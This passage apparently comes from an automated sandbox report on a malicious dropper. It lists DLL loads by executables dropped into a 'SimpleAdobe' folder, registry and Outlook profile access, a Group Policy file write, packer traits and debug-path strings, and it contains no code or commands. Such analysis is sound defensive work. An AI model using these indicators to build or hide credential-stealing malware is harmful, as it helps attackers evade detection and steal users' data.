Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: riched20.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: usp10.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: msls31.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: policymanager.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: pcacli.dll
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: activeds.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: dssec.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: authz.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: mozglue.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: acgenral.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: samcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Section loaded: userenv.dll

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: Google Chrome.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome.exe
Source: Google Chrome.lnk0.8.dr	LNK file: ..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome.exe
Source: Google Chrome.lnk1.8.dr	LNK file: ..\..\..\..\..\Program Files\Google\Chrome\Application\chrome.exe
Source: Microsoft Edge.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Source: Microsoft Edge.lnk0.8.dr	LNK file: ..\..\..\..\..\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe

Directory created: C:\Program Files\Windows Media Player\background.jpg

Source: CHA0VZiz8y.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: CHA0VZiz8y.exe

Static file information: File size 6923264 > 1048576

Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: CHA0VZiz8y.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x265400
Source: CHA0VZiz8y.exe	Static PE information: Raw size of .themida is bigger than: 0x100000 < 0x41a000

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: CHA0VZiz8y.exe, CHA0VZiz8y.exe, 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2166974525.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2170119555.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2168305429.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2171871985.0000000005458000.00000004.00000020.00020000.00000000.sdmp, MYZqYdU5cUVwEz2j0JYbnTar.exe, 00000011.00000000.2266973416.00000000002CC000.00000002.00000001.01000000.00000010.sdmp, MYZqYdU5cUVwEz2j0JYbnTar.exe, 00000011.00000002.2592127849.00000000002CC000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.00000001409DF000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: MsMpEng.pdbH source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: xS7PhKcNZTx4FuBAD1RB9kbJ.exe, 00000008.00000000.2265131582.000002967CCE2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\obj\2015\System.Data.SQLite.Linq.2015\Release\System.Data.SQLite.Linq.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: K:\2024-5-11\createProcessWithAdmin error\x64\Release\ConsoleApplication1.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2344382832.000001F25AEA4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.000000000420F000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.0000000003BD3000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2650479083.0000000005600000.00000004.08000000.00040000.00000000.sdmp
